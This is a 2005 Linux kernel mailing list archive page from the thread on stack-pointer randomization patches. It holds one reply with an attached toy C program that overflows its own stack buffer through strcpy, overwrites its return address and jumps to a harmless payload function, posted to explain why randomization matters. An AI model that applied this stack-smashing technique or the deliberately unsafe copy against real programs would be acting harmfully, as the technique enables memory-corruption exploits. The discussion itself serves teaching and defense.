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From: John Richard Moser <nigelenki@comcast.net>
To: Arjan van de Ven <arjan@infradead.org>
Cc: linux-os@analogic.com,
	Linux kernel <linux-kernel@vger.kernel.org>,
	akpm@osdl.org
Subject: Re: Patch 4/6  randomize the stack pointer
Date: Thu, 27 Jan 2005 15:13:14 -0500	[thread overview]
Message-ID: <41F94B5A.2030301@comcast.net> (raw)
In-Reply-To: <1106856178.5624.128.camel@laptopd505.fenrus.org>


[-- Attachment #1.1: Type: text/plain, Size: 1171 bytes --]

In other words, no :)

Here's self-exploiting code to discover its own return address offset
and exploit itself.  It'll lend some insight into how this stuff works.

Just a toy.

Arjan van de Ven wrote:
> On Thu, 2005-01-27 at 14:19 -0500, linux-os wrote:
> 
>>Gentlemen,
>>
>>Isn't the return address on the stack an offset in the
>>code (.text) segment?
>>
>>How would a random stack-pointer value help? I think you would
>>need to start a program at a random offset, not the stack!
>>No stack-smasher that worked would care about the value of
>>the stack-pointer.
> 
> 
> the simple stack exploit works by overflowing a buffer ON THE STACK with
> a "dirty payload and then also overwriting the return address to point
> back into that buffer.
> 
> (all the security guys on this list will now cringe about this over
> simplification; yes reality is more complex but lets keep the
> explenation simple for Richard) 
> 
> pointing back into that buffer needs the address of that buffer. That
> buffer is on the stack, which is now randomized.
> 
> 
> 

-- 
All content of all messages exchanged herein are left in the
Public Domain, unless otherwise explicitly stated.


[-- Attachment #1.2: exploit.c --]
[-- Type: text/plain, Size: 1027 bytes --]

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int payload();
int exploit(char *d);


int main() {
	int distance;
	char a[512] = {0};
	distance = exploit(NULL);
	memset(a, 0xFF, distance);
	/*Get our payload address*/
	*(void**)(a + distance) = &payload;
	*(void**)(a + distance + sizeof(void*)) = 0; /*cap*/
	/*exploit the payload*/
	exploit(a);
	/*we never reach this*/
	return 255;
}

/*
 * exploit()
 * This overflows its own buffers and causes the return to jump to payload()
 */
int exploit(char *d) {
	char a[400] = {0};
	void *i;
	int distance = 0;
	char payld[sizeof(void*) + 1];
	void *myret;
	void *z;

	if (!d) {
		myret = __builtin_return_address(0);
		/*find the distance between a and myret*/
		for (i = (void*)a; *(void**)i != myret; i++) {
			distance++;
		}
		return distance;
	}
	/*We're passed a d buffer, so strcpy it unsafely*/
	strcpy(a,d);
	/*Return to payload()*/
	return 1;

}

int payload() {
	printf("Payload executed successfully!\n");
	/*0:  Unsafe; successful exploit*/
	_exit(0);
}

[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 256 bytes --]

  reply	other threads:[~2005-01-27 20:16 UTC|newest]

Thread overview: 91+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2005-01-27 10:11 Patch 0/6 virtual address space randomisation Arjan van de Ven
2005-01-27 10:12 ` Patch 1/6 introduce sysctl Arjan van de Ven
2005-01-27 10:36   ` Andi Kleen
2005-01-27 11:13     ` Arjan van de Ven
2005-01-27 18:16   ` Pavel Machek
2005-01-27 19:11     ` Ingo Molnar
2005-01-27 19:46       ` Dave Jones
2005-01-27 19:53         ` Ingo Molnar
2005-01-27 19:53         ` Arjan van de Ven
2005-02-04 21:27   ` Benoit Boissinot
2005-01-27 10:12 ` Patch 2/6 introduce helper infrastructure Arjan van de Ven
2005-01-27 10:41   ` Andi Kleen
2005-01-27 11:58     ` Arjan van de Ven
2005-01-27 12:27       ` Andi Kleen
2005-01-27 12:43         ` Arjan van de Ven
2005-02-01 21:14   ` Matt Mackall
2005-01-27 10:12 ` Patch 3/6 per process flag Arjan van de Ven
2005-01-27 10:13 ` Patch 4/6 randomize the stack pointer Arjan van de Ven
2005-01-27 10:21   ` Christoph Hellwig
2005-01-27 17:38   ` John Richard Moser
2005-01-27 17:47     ` Arjan van de Ven
2005-01-27 18:04       ` John Richard Moser
2005-01-27 18:09         ` Arjan van de Ven
2005-01-27 18:12         ` Christoph Hellwig
2005-01-27 18:16         ` Linus Torvalds
2005-01-27 18:28           ` Linus Torvalds
2005-01-27 18:55             ` John Richard Moser
2005-01-27 18:49           ` John Richard Moser
2005-01-27 19:30             ` Linus Torvalds
2005-01-27 19:48               ` Arjan van de Ven
2005-01-27 19:59                 ` Linus Torvalds
2005-01-27 20:04                   ` Arjan van de Ven
2005-01-27 20:08               ` John Richard Moser
2005-01-27 19:19           ` linux-os
2005-01-27 19:52             ` Julien TINNES
2005-01-27 20:02             ` Arjan van de Ven
2005-01-27 20:13               ` John Richard Moser [this message]
2005-01-27 21:33                 ` jnf
2005-01-28 17:22                 ` Paulo Marques
2005-01-28 17:51                   ` John Richard Moser
2005-01-28 18:42                   ` Ingo Molnar
2005-01-29  6:04                     ` John Richard Moser
2005-01-27 20:37               ` linux-os
2005-01-27 20:45                 ` John Richard Moser
2005-01-27 21:39           ` John Richard Moser
2005-01-27 21:53             ` Arjan van de Ven
2005-01-27 22:34               ` John Richard Moser
2005-01-29  2:50                 ` Rik van Riel
2005-01-29  6:31                   ` John Richard Moser
2005-01-29  8:10                     ` Arjan van de Ven
     [not found]                       ` <41FBB821.3000403@comcast.net>
2005-01-29 16:42                         ` Arjan van de Ven
2005-01-29 16:59                           ` John Richard Moser
2005-01-29 16:46                         ` Arjan van de Ven
2005-01-29 17:04                           ` John Richard Moser
2005-01-29 17:37                     ` Jakub Jelinek
2005-01-29 17:49                       ` John Richard Moser
2005-01-29 17:55                         ` Christoph Hellwig
2005-01-29 18:10                           ` John Richard Moser
2005-01-29 18:12                             ` Rik van Riel
2005-01-29 18:16                             ` Christoph Hellwig
2005-01-29  7:46           ` John Richard Moser
2005-01-27 18:40         ` Felipe Alfaro Solana
2005-01-27 22:31     ` Jirka Kosina
2005-01-28  5:58       ` Ingo Molnar
2005-01-28 19:02         ` David Lang
2005-01-28  7:33       ` Arjan van de Ven
2005-01-27 19:43   ` Julien TINNES
2005-01-28  0:10     ` H. Peter Anvin
2005-01-28  0:23       ` Roland Dreier
2005-01-28  1:06         ` H. Peter Anvin
2005-01-28  2:03     ` Horst von Brand
2005-01-28  8:45       ` Julien TINNES
2005-01-27 20:23   ` Christoph Hellwig
2005-01-27 20:27     ` Arjan van de Ven
2005-01-27 20:32       ` Christoph Hellwig
2005-01-27 20:35         ` Arjan van de Ven
2005-01-27 20:40         ` Rik van Riel
2005-01-27 20:42           ` Christoph Hellwig
2005-01-27 20:56             ` Arjan van de Ven
2005-01-27 21:13               ` Linus Torvalds
2005-01-27 10:13 ` Patch 5/6 randomize mmap addresses Arjan van de Ven
2005-01-27 10:14 ` Patch 6/6 default enable randomisation for -mm Arjan van de Ven
2005-01-27 11:45 ` Patch 0/6 virtual address space randomisation Julien TINNES
2005-01-27 11:57   ` Arjan van de Ven
2005-01-27 17:42     ` John Richard Moser
2005-01-27 19:34       ` Julien TINNES
2005-01-27 19:57         ` John Richard Moser
2005-01-27 20:13         ` Arjan van de Ven
2005-01-28  8:45           ` David Weinehall
  -- strict thread matches above, loose matches on Subject: below --
2005-01-31 10:55 Patch 4/6 randomize the stack pointer linux
2005-01-31 17:28 ` John Richard Moser

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